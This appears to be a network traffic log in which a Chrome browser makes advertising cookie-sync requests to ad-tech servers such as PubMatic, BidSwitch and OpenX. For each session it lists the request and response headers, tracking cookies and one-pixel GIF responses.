Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.4	50523	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	845	OUT	GET /sync?dsp_id=462&ssp=criteo&user_id=k-rU5q5aqp_dM1H477xpJOVC4AuDhGElh6cWs14g&gdpr=&gdpr_consent= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:32 UTC	580	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ssp-sync.criteo.com/user-sync/match?p=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q&u=22ec7773-8e4b-4639-873b-a22ce7444b56 Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.4	50538	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2174	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:32 UTC	760	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:31 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_153=1923-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV&KRTB&19420-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV&KRTB&22979-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV&KRTB&23462-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:31 GMT; path=/ Set-Cookie: PugT=1714257751; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:31 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.4	50542	18.205.199.174	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	659	OUT	GET /insync?vxii_pid=10067&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:32 UTC	570	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 211 Connection: close Location: https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&vxii_pid=12&vxii_pid1=10067&vxii_rcid=519145c2-b0d4-4091-bf35-b0e642603ef9 P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6IjUxOTE0NWMyLWIwZDQtNDA5MS1iZjM1LWIwZTY0MjYwM2VmOSIsImwiOjE3MTQyNTc3NTI1NDQsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Sat, 27 Apr 2024 22:42:32 GMT; Max-Age=17280000; Secure; SameSite=None
2024-04-27 22:42:32 UTC	211	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 76 78 69 69 5f 70 64 69 64 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 30 32 30 44 44 37 42 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 3d 31 32 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 31 3d 31 30 30 36 37 26 61 6d 70 3b 76 78 69 69 5f 72 63 69 64 3d 35 31 39 31 34 35 63 32 2d 62 30 64 34 2d 34 30 39 31 2d 62 66 33 35 2d 62 30 65 36 34 32 36 30 33 65 66 39 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&vxii_pid=12&vxii_pid1=10067&vxii_rcid=519145c2-b0d4-4091-bf35-b0e642603ef9">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.4	50541	52.23.141.19	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	648	OUT	GET /sync?pid=187&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:32 UTC	73	IN	HTTP/1.1 204 Date: Sat, 27 Apr 2024 22:42:32 GMT Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.4	50543	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	777	OUT	GET /w/1.0/sd?id=540245193&val=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:32 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.4	50544	3.213.112.36	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	615	OUT	GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:32 UTC	128	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.4	50545	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2452	OUT	GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=ea3aced0-34d7-4327-b2f9-871f86461e91&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:32 UTC	781	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_1278=23329-ea3aced0-34d7-4327-b2f9-871f86461e91&KRTB&23340-ea3aced0-34d7-4327-b2f9-871f86461e91&KRTB&23498-ea3aced0-34d7-4327-b2f9-871f86461e91; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ Location: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.4	50539	35.211.233.246	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	730	OUT	GET /sync?ssp=bidswitch&bidswitch_ssp_id=pubmatic HTTP/1.1 Host: a.sportradarserving.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:32 UTC	744	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:32 GMT Location: https://a.sportradarserving.com/ul_cb/sync?ssp=bidswitch&bidswitch_ssp_id=pubmatic Set-Cookie: zuuid=74a074a3-f842-4ace-843b-9b8a1b17a96d; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Set-Cookie: c=1714257752; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Set-Cookie: zuuid_lu=1714257752; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.4	50547	104.18.25.173	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	920	OUT	GET /z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: s.tribalfusion.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=a0noeUS3n0wryoxFoAZaRZcxVUJx49XLia2uw2sOxZa
2024-04-27 22:42:32 UTC	827	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 43 Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 302 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aXnteZbOZb3VgUEjUAujyprfZduq6NBbIlZaMk4QnsXCjqSDniZaZbr8ZbbYZbIEM2t9Hb7JUnYmkHSJ1f8Wpp09QSLOYvCqQEZbxDdFN; path=/; domain=.tribalfusion.com; expires=Fri, 26-Jul-2024 22:42:32 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aXnteZbOZb3VgUEjUAujyprfZduq6NBbIlZaMk4QnsXCjqSDniZaZbr8ZbbYZbIEM2t9Hb7JUnYmkHSJ1f8Wpp09QSLOYvCqQEZbxDdFN; path=/; domain=.tribalfusion.com; expires=Fri, 26-Jul-2024 22:42:32 GMT; CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87b2538a3e3d81a0-IAD alt-svc: h3=":443"; ma=86400
2024-04-27 22:42:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 02 02 44 01 00 3b Data Ascii: GIF89a!,@D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.4	50546	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	917	OUT	GET /sync?dsp_id=119&user_id=1977432098227636774&expires=30&ssp=pubmatic HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:32 UTC	614	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=22ec7773-8e4b-4639-873b-a22ce7444b56&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.4	50550	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2386	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:o2ksvWLN1S0QKf5&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:32 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_107=1471-uid:o2ksvWLN1S0QKf5&KRTB&23421-uid:o2ksvWLN1S0QKf5; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.4	50552	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2567	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=6d350b20-04e7-11ef-9af6-9a7c2b29b5a3 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; 